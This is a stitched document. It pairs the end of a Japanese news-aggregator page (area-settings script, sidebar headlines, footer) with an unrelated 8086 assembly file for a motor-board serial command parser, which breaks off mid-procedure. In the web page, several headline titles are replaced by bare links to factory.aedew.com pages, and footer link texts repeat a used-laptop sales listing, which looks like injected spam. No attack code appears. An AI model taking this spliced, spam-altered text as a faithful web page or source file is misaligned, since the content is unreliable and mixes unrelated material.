var setting = "ct:news:5;ct:society:5;ct:entertainment:5;ct:sports:5;ct:itnews:5;ct:international:3;ct:science:3;ct:odekake:3;ct:2ch:6;ct:neta:6;";
var setting_list = new Array();
setting_split = setting.split(";");
for (var i = 0; i < setting_split.length; i++) {
if(!setting_split[i]){continue};
if(m = setting_split[i].match(/^([a-z]*):(.*):(d*)$/)){
setting_list[i+1] = new Array(m[1],m[2],m[3]);
}else{
setting_list[i+1] = new Array();
}
}
controler_set();
</script>
<!-- 以下カスタム用HTML -->
<div id="edit_area_module" style="display:none;">
<div id="edit_area_AREAID" style="display:none;margin-bottom: 1em;">
<div class="list_title" style="text-align:right;font-size:85%;font-weight:100;">
<a href="javascript:void(0);" onclick="area_change_cancel(AREAID)">キャンセル</a>
<div class="controler" style="display:none;"></div>
</div>
<div id="edit_area_inner_AREAID" style="border:8px solid #ccc;padding:3em 15%;font-size:90%;">
<h3>AREAID 番目のエリア</h3>
<p>このエリアに表示するニュースを設定します。</p>
<div id="edit_area_1_AREAID">
<select id="select_1_AREAID" onchange="edit_area_2(AREAID)" style="margin-top:1em;">
<option value="">▼表示内容を選んでください▼</option>
<option value="ct">カテゴリから選ぶ</option>
<option value="kw">任意のキーワードを指定する</option>
</select>
</div>
<br />
<div id="edit_area_2ct_AREAID" style="display:none;">
<select id="select_2ct_AREAID">
<option value="">▼カテゴリを選んでください▼</option>
<option value="all">すべての記事</option>
<option value="news">ニュース総合</option>
<option value="society">政治・経済</option>
<option value="international">海外ニュース</option>
<option value="entertainment">エンタメ</option>
<option value="sports">スポーツ</option>
<option value="itnews">IT・テクノロジー</option>
<option value="science">科学・学問</option>
<option value="odekake">おでかけ・イベント</option>
<option value="2ch">2chまとめ</option>
<option value="neta">ネタ・話題・トピック</option>
<option value="movie">動画</option>
<option value="other">その他のニュース</option>
</select>
</div>
<div id="edit_area_2kw_AREAID" style="display:none;">
キーワードを入力してください。<input id="select_2kw_AREAID" type="text" value="KEYWORD" size="32" /><br />
<div style="font-size:85%;color:#666;background:#eee;padding:0.5em;margin:0.5em 0;">
入力したキーワードにヒットするニュースが配信されます。<br />
<b>複数指定</b>「AAA BBB」:スペースで区切るとAAAかつBBBにマッチする記事を配信します。<br />
<b>OR指定</b>「AAA OR BBB」:AAAまたはBBBにマッチする記事を配信します。ORはパイプ(|)も可。<br />
<b>特定のサイトを指定</b>「site:[URL]」:特定のURLにマッチする記事を配信します。<br />
<b>除外指定</b>「-XXX」:マイナスを付けると「XXX」にマッチする記事を除外します。
</div>
</div>
<div id="edit_area_3num_AREAID" style="display:none;">
表示する数:<select id="select_3num_AREAID">NUMLIST</select>
</div>
<br />
<div style="line-height:2.5;">
<input type="button" value=" 決定 " onclick="area_change_save(AREAID)" style="font-size:150%;"/><br />
<input type="button" value="キャンセル" onclick="area_change_cancel(AREAID)" />
<input type="button" value="このエリアを削除" onclick="area_delete(AREAID)" />
<input type="button" value="この下にエリアを追加" onclick="area_add(AREAID)" />
<br />
<input type="button" value="1つ上へ移動" onclick="area_move(AREAID,-1)" />
<input type="button" value="1つ下へ移動" onclick="area_move(AREAID,1)" />
</div>
</div>
</div>
</div>
<!-- カスタム用HTMLここまで -->
<div id="top_guidance"> </div><div class='pagenavi'><a href=''>全カテゴリ横断</a> <a href=''>昨日のランキング</a> </div><script type="text/javascript">footerbox_ad();</script></div>
</div>
<div id="side_column">
<div id="side_column_inner">
<div id="sidefollow">
<script type="text/javascript">sidebox_ad1()</script>
<div id="side_flash" style="margin-bottom:4px;">
<div class="list_title"><h2><a href="">速報</a></h2></div>
<div class="item_list_box"><div class="item">
<div class="item_status">
<span class="link_num over20">21<span>コメント</span></span>
<span class="date date_new">42 分前 </span>
<a href="http://news.line.me/list/886887b5/63a4858e236b" target="_blank" class="item_direct"> - news.line.me</a></div>
<div class="item_title"><a href="">2016年新ヒーロー戦隊は「動物戦隊ジュウオウジャー」 - LINE NEWS</a></div>
</div>
<div class="item">
<div class="item_status">
<span class="link_num over3">11<span>コメント</span></span>
<span class="date date_new">42 分前 </span>
<a href="http://news.line.me/list/886887b5/eee8981f1889" target="_blank" class="item_direct"> - news.line.me</a></div>
<div class="item_title"><a href="http://factory.aedew.com/images/Core2Duo/020410539n21cf.html">http://factory.aedew.com/images/Core2Duo/020410539n21cf.html</a></div>
</div>
<div id="side_imgs" style="margin-bottom:4px;">
<div class="list_title"><h2><a href="">画像で見る主要ニュース</a></h2></div>
<div class="item_list_box"><div class="item_box">
<div class="thumbnail"><a class="trimming imgbox" href="" style="width:120px;height:120px;"><img src="http://img.ceron.jp/db592e52fb3695e73bb88902c6c90a5b239cd30b.jpg" width="120" height="120" onerror="this.src='/img/no_image.gif';this.width='120';this.height='120';" style="left:0px" /></a></div>
<div class="item_status">
<span class="link_num over500">506<span>コメント</span></span>
<span class="date date_new">4 時間前 </span>
<a href="http://headlines.yahoo.co.jp/hl?a=20151226-00050002-yom-soci" target="_blank" class="item_direct"> - headlines.yahoo.co.jp</a></div>
<div class="item_title"><a href="">大安・仏滅…記載は不適切、県がカレンダー回収 (読売新聞) - Yahoo!ニュース</a></div>
</div>
<span class='debug' style='display:none;'><!--score: 67 --></span>
<div class="item_box">
<div class="thumbnail"><a class="trimming imgbox" href="" style="width:120px;height:120px;"><img src="http://img.ceron.jp/770aec9bed626d0714c63dd827bad4f4c20876b2.jpg" width="120" height="172" onerror="this.src='/img/no_image.gif';this.width='120';this.height='120';" style="left:0px" /></a></div>
<div class="item_status">
<span class="link_num over100">387<span>コメント</span></span>
<span class="date date_new">4 時間前 </span>
<a href="http://headlines.yahoo.co.jp/hl?a=20151226-00000062-san-sctch" target="_blank" class="item_direct"> - headlines.yahoo.co.jp</a></div>
<div class="item_title"><a href="http://factory.aedew.com/images/Core2Duo/020411427o00ko.html">http://factory.aedew.com/images/Core2Duo/020411427o00ko.html</a></div>
</div>
<span class='debug' style='display:none;'><!--score: 28 --></span>
<div class="item_box">
<div class="thumbnail"><a class="trimming imgbox" href="" style="width:120px;height:120px;"><img src="http://img.ceron.jp/f2a5b22bc8e16c4289aaf7767c8ef71cce9c4104.jpg" width="120" height="129" onerror="this.src='/img/no_image.gif';this.width='120';this.height='120';" style="left:0px" /></a></div>
<div class="item_status">
<span class="link_num over100">134<span>コメント</span></span>
<span class="date date_new">6 時間前 </span>
<a href="http://headlines.yahoo.co.jp/hl?a=20151226-00000004-nksports-socc" target="_blank" class="item_direct"> - headlines.yahoo.co.jp</a></div>
<div class="item_title"><a href="">柿谷曜一朗C大阪復帰 違約金大幅減少で完全移籍へ (日刊スポーツ) - Yahoo!ニュース</a></div>
</div>
<span class='debug' style='display:none;'><!--score: 26 --></span>
<div class="item_box">
<div class="thumbnail"><a class="trimming imgbox" href="" style="width:120px;height:120px;"><img src="http://img.ceron.jp/3d712f4a9f0d5a17af803c20b36a4d9d8bec0ea2.jpg" width="120" height="170" onerror="this.src='/img/no_image.gif';this.width='120';this.height='120';" style="left:0px" /></a></div>
<div class="item_status">
<span class="link_num over100">145<span>コメント</span></span>
<span class="date date_new">6 時間前 </span>
<a href="http://www.sankei.com/politics/news/151226/plt1512260001-n1.html" target="_blank" class="item_direct"> - www.sankei.com</a></div>
<div class="item_title"><a href="">(あす楽対応)レジスター カシオ NL-300 シルバー 消費税対応★今ならレジロール10巻サービス中!,中古パソコン 中古ノートパソコン HP ProBook 4545S AMD Dual-Core A4-4300M 2.5GHz/メモリ 4GB/HDD 160GB/DVDマルチドライブ/無線LAN内蔵/Windows7 Professional 32ビット/リカバリCD・OFFICE2013付き中古
</a></div>
</div>
<span class='debug' style='display:none;'><!--score: 26 --></span>
<div class="item_box">
<div class="thumbnail"><a class="trimming imgbox" href="" style="width:120px;height:120px;"><img src="http://img.ceron.jp/3df371797c2edb03a03491018247c6d1d6d51e42.jpg" width="160" height="120" onerror="this.src='/img/no_image.gif';this.width='120';this.height='120';" style="left:-20px" /></a></div>
<div class="item_status">
<span class="link_num over20">62<span>コメント</span></span>
<span class="date date_new">2 時間前 </span>
<a href="http://headlines.yahoo.co.jp/hl?a=20151226-00010000-chibatopi-l12" target="_blank" class="item_direct"> - headlines.yahoo.co.jp</a></div>
<div class="item_title"><a href="http://factory.aedew.com/images/Core2Duo/020411350y48qb.html">http://factory.aedew.com/images/Core2Duo/020411350y48qb.html</a></div>
</div>
<span class='debug' style='display:none;'><!--score: 12 --></span>
<div class="item_box">
<div class="thumbnail"><a class="trimming imgbox" href="" style="width:120px;height:120px;"><img src="http://img.ceron.jp/5f191d984c12ff6d166bf0cb65f99c56fedea305.jpg" width="180" height="120" onerror="this.src='/img/no_image.gif';this.width='120';this.height='120';" style="left:-30px" /></a></div>
<div class="item_status">
<span class="link_num over20">50<span>コメント</span></span>
<span class="date date_new">4 時間前 </span>
<a href="http://news.nicovideo.jp/watch/nw1961232" target="_blank" class="item_direct"> - news.nicovideo.jp</a></div>
<div class="item_title"><a href="http://factory.aedew.com/images/Core2Duo/020410526c89rl.html">http://factory.aedew.com/images/Core2Duo/020410526c89rl.html</a></div>
</div>
<span class='debug' style='display:none;'><!--score: 11 --></span>
<div class="more"><a href="">もっと画像で見る</a></div></div>
</div>
</div>
</div>
</div>
</div><!-- end field_inner -->
</div><!-- end field-->
<div id="footer_menu_bar" class="menu_bar">
<div id="footer_menu_bar_inner" class="menu_bar_inner"><ul><li><a href="/" class="selected">トップ</a></li><li><a href="/all/newitem/">速報</a></li><li><a href="/news/">ニュース総合</a></li><li><a href="/society/">政治経済</a></li><li><a href="/entertainment/">エンタメ</a></li><li><a href="/sports/">スポーツ</a></li><li><a href="/itnews/">IT</a></li><li><a href="/international/">海外</a></li><li><a href="/science/">科学</a></li><li><a href="/odekake/">おでかけ</a></li><li><a href="/movie/">動画</a></li><li><a href="/2ch/">2ch</a></li><li><a href="/neta/">ネタ</a></li><li><a href="/all/">すべて</a></li></ul></div>
</div><!-- /menu_bar -->
<div id="footer">
<div id="footer_inner">
<a href="" title="中古パソコン 中古ノートパソコン HP ProBook 4545S AMD Dual-Core A4-4300M 2.5GHz/メモリ 4GB/HDD 160GB/DVDマルチドライブ/無線LAN内蔵/Windows7 Professional 32ビット/リカバリCD・OFFICE2013付き中古
"><img src="/img/logo_s.png" width="64px" height="32px" /></a>
<span class="icon_set">
<a href="" title="RSS" class="icon icon_rss"></a>
<a href="http://www.twitter.com/" target="_blank" title="twitter中古パソコン 中古ノートパソコン HP ProBook 4545S AMD Dual-Core A4-4300M 2.5GHz/メモリ 4GB/HDD 160GB/DVDマルチドライブ/無線LAN内蔵/Windows7 Professional 32ビット/リカバリCD・OFFICE2013付き中古
" class="icon icon_twitter"></a>
<a href="https://www.facebook.com/" target="_blank" title="facebook中古パソコン 中古ノートパソコン HP ProBook 4545S AMD Dual-Core A4-4300M 2.5GHz/メモリ 4GB/HDD 160GB/DVDマルチドライブ/無線LAN内蔵/Windows7 Professional 32ビット/リカバリCD・OFFICE2013付き中古
" class="icon icon_facebook"></a>
</span>
<br />
<a href="">このサイトについて</a> -
<a href="">ご意見・お問い合わせ</a> -
<a href="">中古パソコン 中古ノートパソコン HP ProBook 4545S AMD Dual-Core A4-4300M 2.5GHz/メモリ 4GB/HDD 160GB/DVDマルチドライブ/無線LAN内蔵/Windows7 Professional 32ビット/リカバリCD・OFFICE2013付き中古
</a>
<br /><br />
<div class="footer_copyright">
<a href="">天気アプリ</a> |
<a href="">中古パソコン 中古ノートパソコン HP ProBook 4545S AMD Dual-Core A4-4300M 2.5GHz/メモリ 4GB/HDD 160GB/DVDマルチドライブ/無線LAN内蔵/Windows7 Professional 32ビット/リカバリCD・OFFICE2013付き中古
</a> |
<a href="">画像検索</a> |
<a href="">Android音楽プレイヤー</a> |
<a href="">メモ帳アプリ</a>
</div>
</div><!-- end footer_inner-->
</div><!-- end footer-->
</div><!-- end main-->
</body>
</html> | Java |
NAME Parser
; Contains from the point of view of the Motor board,
; ParseSerialChar, which is a finite state machine
; that parses passed characters into serial commands,
; and its helper functions.
;
; Last Revision 12/27/2014 SSundaresh created
; 12/29/2014 SSundaresh restricted
; alphabet for hw9
; Base Constants
$INCLUDE (GenConst.inc)
$INCLUDE (Events.inc)
$INCLUDE (Errors.inc)
; Constants for valid characters, state bits
$INCLUDE (Parser.inc)
; Constants for execution calls
$INCLUDE (Motors.inc)
CGROUP GROUP CODE
CODE SEGMENT PUBLIC 'CODE'
ASSUME CS:CGROUP
; When a command is parsed, it must be executed. These
; are the commands to be executed. They are
; testing functions for now, but will be replaced by
; true versions later.
EXTRN SetMotorSpeed:NEAR
EXTRN GetMotorSpeed:NEAR
EXTRN GetMotorDirection:NEAR
EXTRN SetLaser:NEAR
EXTRN GetLaser:NEAR
EXTRN TransmitStatus:NEAR
EXTRN ClearEOFlag:NEAR
EXTRN GetEOFlag:NEAR
; Functional Spec, ParseSerialChar
; Description: this function implements a finite state machine
; that remembers its current state defined by past inputs, where
; the current state is a growing command. Invalid parsed commands
; yield AX = 1 and valid parsed commands are executed in-house,
; and yield a return value of AX = 0. The character to be parsed
; into the growing command is passed by value in AL.
; Operation: The simplest way to describe the operation of this function
; is to write out the state table.
;
; Ignore the command characters for the moment. All commands have
; a common grammar. If they take numerical arguments, the arguments must
; be be of the form -32768,+32767. This is not strictly in line with
; the specs for executable functions related to these commands,
; but checking the test code and the command formats, the commands themselves
; when sent over serial must have this restriction. It works out that
; if you want a speed of > 7fff, you just need to use both S and V commands
; instead of just one SetMotorSpeed.
; So, yes, all the various commands have different limits on the numbers,
; but first parsing whether the condition above is met gets us 95 percent
; of the way there. Finally checking whether we're in the bounds can be
; abstracted for now. So..
; Let CommandCharacter be K in VDFOR and let
; Bits543 of the StateBits be referenced as 543, and to update their state
; we write 543++. These bits refer to which digit we're considering in
; the argument, out of a maximum of 5 (10000s place).
;
; We're going to parse F, O, R commands till a \CR, expecting no arguments,
; and V, D will be parsed to either a \CR or at most 5 post-sign digits
; whichever comes first. At this point we will not yet be applying
; size cutoffs - it's just the grammar we're parsing here.
;
; The states of the form ArgZero exist to deal with inputs of the form
; K+-00000000... which are condensed to one state, which just tells us
; we've seen A digit, that was 0, so if we see a \CR next, it's ok,
; we did get an argument.
; So, let
; ESURSZFR = Execute, Status Update, Reset State, ZF Reset.
; CESURSZFR = Check Argument, conditional ESURSZFR, else Error, NotParsing
; where the argument is understood to be 0 if we're in the ArgZero states.
;
;
; Finally, until we reach an ArgZero state, assume there is a dedicated
; 0 state bit, and when we reach it, that bit goes high. Assume when we
; leave an ArgZero state the bit goes low again.
; Similarly assume there are three bits 543 that only take non-zero values
; for ArgGEQOne states, and there index the argument from digits 0-4 that we
; are currently waiting for. So, bits543 = 5 in binary implies an error, as
; there is now no way the magnitude of the argument could fit in [0,32768].
; These are understood, below. We increment 543++ for example, but if
; it yields a value >= 5 we would call an error and revert to NoParsing.
; In addition when we increment we also mean we would write the
; character c in question to a buffer for later conversion to a binary
; encoding, for bounds checking and as an input to command function calls.
; Input Class 1 2 3 4
; States\c v-r 0-9 +- \CR Lumped STATE_ID
; NotParsing Parsing(c) Error, NotParsing Error, NotParsing NotParsing 1
; Parsing_NoNumbersYet_SignUnclear Error, NotParsing K=f,o,r Error, NotParsing Error, NotParsing ESURSZFR 2
; K=v,d, c=1-9, Parsing_ArgGEQOne (sign clear, no sign) K=v-r, Error, NotParsing
; K=v,d, c=0, Parsing_ArgZero (sign clear, no sign)
; K=v,d, Parsing_NoNumbersYet (sign clear)
; All commands that reach the following states require numerical arguments.
; Parsing_ArgZero Error, NotParsing c=0 , Parsing_ArgZero Error, NotParsing CESURSZFR 3
; c=1-9, 543++ Parsing_ArgGEQOne
; Parsing_ArgGEQOne Error, NotParsing c=0-9, 543++ Parsing_ArgGEQOne Error, NotParsing CESURSZFR 4
; Parsing_NoNumbersYet Error, NotParsing c=0 , Parsing_ArgZero Error, NotParsing Error, NotParsing 5
; c=1-9, 543++ Parsing_ArgGEQOne
;
; These transitions and related outputs and error checking
; are broken up into helper functions equivalently named.
;
; Note that all the command-specific checks happen in either Lumped State 2
; or CESURSZFR, so as long as the grammar is maintained,
; adding commands requires that we change only two functions.
;
; Arguments: character c, in AL by value
; Return values: AX = 0 if c did not yield an invalid command state, else 1
; Constants: ParsingBit, SignBits, ZeroSeenBit, ArgIndexBits
; Local Variables:
; BL ParserStateBits
; AL input character, vetted, converted to lowercase
; Shared Variables: ParserStateBits
; Global Variables: none
; Registers used: AX, BX
; Stack depth: 0 words
; Input: none
; Output: none
; Error handling: none
; Algorithms: none
; Data structures: none
; Known bugs: none
; Limitations: not visually simple, like macros/lookup tables
; Revision History:
; 12/27/2014 SSundaresh created
; 12/29/2014 SSundaresh state table updated for hw9 command set
; Pseudocode
; Check if input is a valid character using ValidateInputCharacter
; If not, ignore - call ReportValid and return.
; If valid, now have it in AL in lowercase (if applicable).
; Split into states, and call appropriate state output/transition functions
; which set the ZF if there was a problem (which they handled).
; Check the zero-flag and if it is set, report a parsing error, and otherwise
; report no parsing error.
ParseSerialChar PROC NEAR
PUBLIC ParseSerialChar
CALL ValidateInputCharacter ; c in AL in lowercase if ok
JZ Report_Valid_Character ; ZF set, ignorable input
JNZ Allowed_Character
Allowed_Character:
MOV BX, offset(ParserStateBits) ; identify current state
MOV BL, DS:[BX]
MOV BH, ParsingBit ; are we parsing a command
AND BH, BL
JZ STATE_NotParsing ; we are not parsing a command
; we're parsing a command
MOV BH, SignBits ; are we sure of the argument sign
AND BH, BL ; yet
JZ STATE_Parsing_NoNumbersYet_SignUnclear
; yes, we're sure of a sign bit
MOV BH, NoNumbersBit
AND BH, BL
JZ STATE_Parsing_NoNumbersYet
; yes, we've seen at least a digit
AND BH, ZeroSeenBit
JNZ STATE_Parsing_ArgZero
JMP STATE_Parsing_ArgGEQOne
STATE_NotParsing:
CALL NotParsing ; AL contains valid character
JMP ParserReporting
STATE_Parsing_NoNumbersYet_SignUnclear:
CALL Parsing_NoNumbersYet_SignUnclear ; AL contains valid character
JMP ParserReporting
STATE_Parsing_NoNumbersYet:
CALL Parsing_NoNumbersYet
JMP ParserReporting
STATE_Parsing_ArgGEQOne:
CALL Parsing_ArgGEQOne ; AL contains valid character
JMP ParserReporting
STATE_Parsing_ArgZero:
CALL Parsing_ArgZero ; AL contains valid character
JMP ParserReporting
ParserReporting:
JZ Report_ParsingError
JNZ Report_Valid_Character
Report_Valid_Character:
MOV AX, 0
JMP Done_Parsing
Report_ParsingError:
CALL ResetParserState ; reset to NotParsing
MOV AX, 1
JMP Done_Parsing
Done_Parsing:
RET
ParseSerialChar ENDP
; helper functions follow to make ParseSerialChar easier to read
; ValidateInputCharacter
; Description. Takes input character in AL. Checks if allowed, given
; Valid_Characters code table. If allowed, converts to lowercase
; if the character is an ASCII letter, and regardless returns it in AL.
; If the character is not allowed it returns with the ZF set.
; Operation: This code depends heavily on the ASCII set used to
; transmit commands. That is, the way uppercase letters are identified
; is entirely dependent on us not using other characters on those lines
; as command characters. Be careful.
; Loops through the code table of allowed characters and if it finds a
; match checks if its a letter and uses the ASCII encoding to
; shift the letter to lowercase if it is uppercase (ASCIII_UL bit not set).
; Returns with the ZF reset by clearing AH and adding a non-zero constant.
; If the character is not found, by default clears AH and ZF is set.
; Arguments: AL, input character c
; Return Values: ZF set if not an allowed character.
; ZF reset if allowed.
; Constants: Valid_Characters, a code table.
; NUM_VALID_CHARACTERS, size of the code table.
; Local Variables:
; BX absolute index in code table
; AL ASCII character to validate
; CX, counter so we know when to stop looking
; Registers Used: AX, BX
; Last Revised: 12/27/2014 SSundaresh created
ValidateInputCharacter PROC NEAR
PUBLIC ValidateInputCharacter
MOV CX, 0 ; start at the beginning of
; Valid_Characters
MOV BX, offset(Valid_Characters) ; CS:BX is Valid_Characters[0]
ValidationLoop_ST:
CMP AL, CS:[BX] ; is this our character?
JE FORMAT_CHARACTER ; if so, format it
INC CX
INC BX ; o/w move to the next
CMP CX, NUM_VALID_CHARACTERS ; if we've checked all of Valid_Characters
JNE ValidationLoop_ST ; this isn't a valid character.
INVALID_CHARACTER:
CALL SetZF
JMP DONE_PROCESSING_CHARACTER
FORMAT_CHARACTER:
MOV BL, ASCIILetterIdentifier ; let's check if the character is
; a letter.
AND BL, AL
JZ ALMOST_DONE_PROCESSING ; not a letter
; is a letter
; is it uppercase?
MOV BL, ASCIII_UL
AND BL, AL
JZ ASCII_Uppercase ; if that bit isn't set, Uppercase
JNZ ALMOST_DONE_PROCESSING
ASCII_Uppercase:
ADD AL, ASCIII_UL ; convert letter to lowercase
ALMOST_DONE_PROCESSING:
CALL ClearZF
JMP DONE_PROCESSING_CHARACTER
DONE_PROCESSING_CHARACTER:
RET
ValidateInputCharacter ENDP
; SetZF
; Sets the ZF, destroying AH in the process.
; Registers used: AH
SetZF PROC NEAR
PUBLIC SetZF
XOR AH, AH ; set ZF
RET
SetZF ENDP
; ClearZF
; Clears the ZF, screwing up AH in the process.
; Registers used: AH
ClearZF PROC NEAR
PUBLIC ClearZF
XOR AH, AH ; clear AH
ADD AH, 1 ; clear ZF
RET
ClearZF ENDP
; StoreArgDigit
; Description: Takes input digit character for current command in AL.
; If storing this digit would not set ParserStateBits 543 (argument index)
; greater than Parser_MAX_DIGITS, stores it in the buffer
; ParserNumericalArgumentBuffer at the index
; specified by bits 543 of the current ParserStateBits. Increments
; these state bits to point to the next open position in the buffer
; and returns ZF reset.
; Otherwise does not modify state bits.
;
; If adding would overflow buffer, i.e. if bits 543 + 1 >
; Parser_MAX_DIGITS, sets ZF and doesn't add anything to buffer.
;
; Might fail if ParserStateBits 543 not currently in 0,Parser_MAX_DIGITS-1
;
; Arguments: AL, digit in 0-9 ASCII.
; Return Value: ZF set/reset as described above.
; Registers Used: AX, BX, DI
; Last Revised: 12/28/2014 SSundaresh created
StoreArgDigit PROC NEAR
PUBLIC StoreArgDigit
MOV DI, offset(ParserStateBits) ; identify current state
MOV BL, DS:[DI]
AND BL, ArgIndexBits
SHR BL, 3 ; isolate ArgIndexBits and get them to bits 210
XOR BH, BH ; in BX
PUSH BX ; store BX, current relative argument index
INC BL
CMP BL, Parser_MAX_DIGITS
JG ArgBufferOverflow
; no overflow, prepare to add arg to buffer
; and update index in state bits
SHL BL, 3 ; get updated index in right position
MOV BH, DS:[DI] ; get state bits in BH
AND BH, ArgIndexMask ; clear out index bits in BH
ADD BH, BL ; replace with updated index bits
MOV DS:[DI], BH ; store updated state
POP BX ; get relative index to store arg
ADD BX, offset(ParserNumericalArgumentBuffer)
; BX is now an absolute address in DS
MOV DS:[BX], AL ; store AL there
CALL ClearZF
JMP StoreArgDigit_DONE
ArgBufferOverflow:
POP BX ; so we don't have mismatched push/pops
CALL SetZF
JMP StoreArgDigit_DONE
StoreArgDigit_DONE:
RET
StoreArgDigit ENDP
; NotParsing
; Description.
; This is the state NotParsing.
; Input Class 1 2 3 4
; States\c v-r 0-9 +- \CR Lumped STATE_ID
; NotParsing Parsing(c) Error, NotParsing Error, NotParsing NotParsing 1
; Takes input character in AL. The character is
; guaranteed to be in Valid_Characters, which for now
; means it is in 0-9, +-, vdfor, or ASCII_CR. Since whitespace
; has been ignored before this point, seeing ASCII_CR in this state
; is equivalent to having seen a blank line, and seeing 0-9+-
; is invalid, as we by definiton haven't yet seen a command character.
; So, depending on the input character, this function will transition
; the state to either Parsing (with a target CommandCharacter set and
; state bits set), or stay in NotParsing, if a line break is seen,
; or stay in Not Parsing, but report back an error by setting the ZF.
; By default if there is no issue the ZF is reset.
; Arguments: AL, input character c in lowercase
; Return Values: ZF set if parsing error noted
; ZF reset otherwise
; Constants: ASCII_CR, ASCIILetterIdentifier
; SBP_NoNumbersYet_SignUnclear
; Local Variables:
; AL, c character
; AH masks and state bits
; Registers Used: AX, DI
; Last Revised: 12/27/2014 SSundaresh created
NotParsing PROC NEAR
PUBLIC NotParsing
MOV AH, ASCIILetterIdentifier ; AL has character c
AND AH, AL ; letter will yield > 0
JNZ State1_CommandID ; letter is command
; start parsing
MOV AH, ASCII_CR
CMP AH, AL ; either it is a
; blank line, or
; it is an error
JNE State1_ParseError
JMP State1_ValidInput ; stay NotParsing
State1_ParseError: ; c was 0-9+-
CALL SetZF
JMP State1_Done
State1_CommandID:
MOV DI, offset(CommandCharacter)
MOV DS:[DI], AL
MOV AH, SBP_NoNumbersYet_SignUnclear
MOV DI, offset(ParserStateBits)
MOV DS:[DI], AH
; set new state
JMP State1_ValidInput
State1_ValidInput:
CALL ClearZF
State1_Done:
RET
NotParsing ENDP
; Parsing_NoNumbersYet_SignUnclear
; Description: Takes input c in AL in lowercase.
; Sets ZF if parse error noted, else clears.
; The states transitions:
; Input Class 1 2 3 4
; States\c v-r 0-9 +- \CR Lumped STATE_ID
; Parsing_NoNumbersYet_SignUnclear Error, NotParsing K=f,o,r Error, NotParsing Error, NotParsing ESURSZFR 2
; K=v,d, c=1-9, Parsing_ArgGEQOne (sign clear, no sign) K=s-e, Error, NotParsing
; K=v,d, c=0, Parsing_ArgZero (sign clear, no sign)
; K=v,d, Parsing_NoNumbersYet (sign clear)
; Arguments: AL, input character c in lowercase
; Return Values: ZF set if parsing error noted
; ZF reset otherwise
; Registers Used: AX, BX (in calls), DI
; Last Revised: 12/27/2014 SSundaresh created
; PseudoCode
; is the input a letter? If so, error.
; is the input a number? If f,o,r commands, error, else transition on c=0, 1-9.
; is the input a sign? if f,o,r commands, error, else, no issue,
; set sign bit and transition
; is the input a \CR? if f,o,r commands, great, call execute, but if not,
; error.
;
; Note: by construction of SerialParseChar parse errors (ZFs) force a
; transition to NotParsing, and that ExecuteCommand will reset to NotParsing
; after a valid execution.
Parsing_NoNumbersYet_SignUnclear PROC NEAR
PUBLIC Parsing_NoNumbersYet_SignUnclear
MOV AH, ASCIILetterIdentifier ; identify input class
AND AH, AL
JNZ State2_LetterInput
MOV AH, ASCIINumberIdentifier
AND AH, AL
JNZ State2_NumberInput
MOV AH, ASCIISignIdentifier
AND AH, AL
JNZ State2_SignInput
; only other option is \CR
State2_ASCIICRInput:
MOV DI, offset(CommandCharacter)
MOV AH, DS:[DI]
CMP AH, 'f' ; f command complete
JE State2_Execute_Command
CMP AH, 'o' ; o command complete
JE State2_Execute_Command
CMP AH, 'r' ; r command complete
JE State2_Execute_Command
JMP State2_ParseError ; else with \CR input, error.
State2_LetterInput:
JMP State2_ParseError ; multi command per line error
State2_NumberInput:
MOV DI, offset(CommandCharacter)
MOV AH, DS:[DI]
CMP AH, 'f' ; f takes no arguments
JE State2_ParseError
CMP AH, 'o' ; o parse error
JE State2_ParseError
CMP AH, 'r' ; r parse error
JE State2_ParseError
CMP AL, '0' ; if number is 0, no Sign, ArgZero
; else 1-9, so noSign, ArgGEQone
JE State2_Transition_ArgZero_noSign
JMP State2_Transition_ArgGEQOne_noSign
State2_Transition_ArgZero_noSign:
MOV AH, SBP_ArgZero_noSign
MOV DI, offset(ParserStateBits)
MOV DS:[DI], AH ; set new state
JMP State2_ValidInput
State2_Transition_ArgGEQOne_noSign:
MOV AH, SBP_ArgGEQOne_noSign
MOV DI, offset(ParserStateBits)
MOV DS:[DI], AH ; set new state
CALL StoreArgDigit ; digit in AL, stores in
; ParserNumericalArgumentBuffer
; increments arg index state bits'
; ZF implies too many input digits
; (not possible here)
JNZ State2_ValidInput
JZ State2_ParseError
State2_SignInput:
MOV DI, offset(CommandCharacter)
MOV AH, DS:[DI]
CMP AH, 'f' ; f parse error
JE State2_ParseError
CMP AH, 'o' ; o parse error
JE State2_ParseError
CMP AH, 'r' ; r parse error
JE State2_ParseError
State2_SignedTransition:
CMP AL, '-'
JNE State2_Transition_PosSign
JE State2_Transition_NegSign
State2_Transition_NegSign:
MOV AH, SBP_NoNumbersYet_negative
MOV DI, offset(ParserStateBits)
MOV DS:[DI], AH ; set new state
JMP State2_ValidInput
State2_Transition_PosSign:
MOV AH, SBP_NoNumbersYet_positive
MOV DI, offset(ParserStateBits)
MOV DS:[DI], AH ; set new state
JMP State2_ValidInput
State2_ParseError:
CALL SetZF
JMP State2_Done
State2_Execute_Command:
CALL ExecuteCommand
JMP State2_Done
State2_ValidInput:
CALL ClearZF
JMP State2_Done
State2_Done:
RET
Parsing_NoNumbersYet_SignUnclear ENDP
; Parsing_ArgZero
; Description: Takes input c in AL in lowercase.
; Sets ZF if parse error noted, else clears.
; The states transitions:
; Input Class 1 2 3 4
; States\c v-r 0-9 +- \CR Lumped STATE_ID
; Parsing_ArgZero Error, NotParsing c=0 , Parsing_ArgZero Error, NotParsing CESURSZFR 3
; c=1-9, 543++ Parsing_ArgGEQOne
; Arguments: AL, input character c in lowercase
; Return Values: ZF set if parsing error noted
; ZF reset otherwise
; Registers Used: AX, BX (in calls), DI
; Last Revised: 12/28/2014 SSundaresh created
; PseudoCode.
; Only commands that take arguments get this far.
; is the input a letter? If so, error.
; is the input a number? Transition on c=0, 1-9.
; is the input a sign? If so, error.
; is the input a \CR? Call ExecuteCommand, which carries out CESURSZFR.
Parsing_ArgZero PROC NEAR
PUBLIC Parsing_ArgZero
MOV AH, ASCIILetterIdentifier ; identify input class
AND AH, AL
JNZ State3_LetterInput
MOV AH, ASCIINumberIdentifier
AND AH, AL
JNZ State3_NumberInput
MOV AH, ASCIISignIdentifier
AND AH, AL
JNZ State3_SignInput
; only other option is \CR
State3_ASCIICRInput:
JMP State3_Execute_Command
State3_LetterInput:
JMP State3_ParseError ; multi command per line error
State3_NumberInput:
CMP AL, '0' ; if number is 0, stay in ArgZero
; else 1-9, transition to ArgGEQOne
JE State3_ValidInput ; with appropriate sign bit.
JMP State3_Transition_ArgGEQOne
State3_Transition_ArgGEQOne:
MOV BH, SignBits
MOV DI, offset(ParserStateBits)
MOV AH, DS:[DI]
AND BH, AH ; get sign bits in BH
